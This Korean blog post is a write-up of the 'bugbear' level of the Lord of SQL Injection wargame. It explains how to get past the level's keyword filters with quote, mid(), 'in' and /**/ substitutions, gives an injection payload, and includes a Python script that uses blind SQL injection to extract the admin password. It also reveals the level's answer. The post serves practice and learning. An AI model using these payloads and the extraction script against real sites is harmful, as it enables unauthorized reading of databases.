쉽고 깔끔하게

[LOS ; Lord of SQL Injection] 13번 bugbear 문제풀이 본문

WebHacking/LOS

[LOS ; Lord of SQL Injection] 13번 bugbear 문제풀이

찐무 2022. 3. 28. 12:25
728x90
반응형


문제

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php


풀이

  • preg_match($pattern, $subject, [, $matches]) : 문자열 안에서 특정한 정규식 패턴의 존재 여부를 찾는데 유용한 함수

- $pattern : 문자열로 검색할 패턴

- $subject : 입력 문자열

- [$matches] : 사용 시 패턴에 매치되는 내용을 배열에 담아둠

 

따라서 얻을 수 있는 정보로는 no의 입력 값 필터링 규칙으로 다음과 같은 정보를 필터링한다는 것이다.

1) prob

2) _

3) .

4) ( )

5) '

6) substr

7) ascii

8) =

9) or

10) and

11) space (공백)

12) like

13) 0x

 

또한 pw의 입력 값 필터링 규칙으로 다음과 같은 정보를 필터링한다.

1) '

 

  • addslashes() : DB의 질의에서 처리할 필요가 있는 문자 앞에 백슬래시(\)를 붙인 문자열 반환, 이때 처리할 필요가 있는 문자에는 싱글 쿼터('), 더블 쿼터("), 백슬래시(\)NUL(NULL)이 있다.
    ex) It's a pen  --오류 발생-->  It\'s a pen

해당 문제를 해결하기 위해서는 admin 계정의 정확한 PW를 입력해야 한다.필터링되는 '는  " , substr()은 mid(), =과 like는 in, space (공백)은 /**/으로 대체하여 해결하고자 한다.

 

PW를 알아내기 위해 가장 먼저 length()를 이용하여 pw의 길이를 알아보았다.

=, like, ' 과 space (공백)이 필터링되기 때문에 no=0||id/**/in/**/("admin")%26%26length(pw)/**/in/**/("8")입력했을 때 'Hello admin'이 출력된 것을 보아 pw의 길이가 8이라는 것을 알 수 있다.

 

pw의 길이를 알아냈기 때문에 실제 pw의 값을 알아내기 위해서는 0~9, A~Z, a~z를 하나씩 대입하여 'Hello admin'이 출력되는 값이 참값이라는 방법을 사용할 수 있지만, 이는 시간이 오래 걸리기 때문에 파이썬 코드를 통해 pw를 알아내고자 한다.

import requests

password = ''

for admin_len in range(8): #pw의 길이 8만큼 수행
    for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
        URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
        query = {'no':'0||id/**/in/**/(\"admin\")/**/&&/**/mid(pw,1,'+str(admin_len+1)+')/**/in/**/(\"'+password+chr(admin_pass)+'\")#'}
        cookies = {'PHPSESSID' : '쿠키 정보'} #쿠키 정보에 각자의 쿠키 값을 대입
        res = requests.get(URL, params = query, cookies = cookies)
        if('Hello admin' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
            password = password + chr(admin_pass)
            print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
            break

MySQL은 대문자와 소문자를 구분하지 않기 때문에 대문자와 소문자를 모두 참으로 인식하기 때문에 pw값이 모두 대문자로 출력되었다.

 

따라서 대문자를 모두 소문자로 바꾼 값인 pw=52dc3991를 대입하면 문제를 해결할 수 있다.

+) 문제에서 pw만 확인했기 때문에 id를 admin으로 바꾸지 않았다.

 
 
728x90
반응형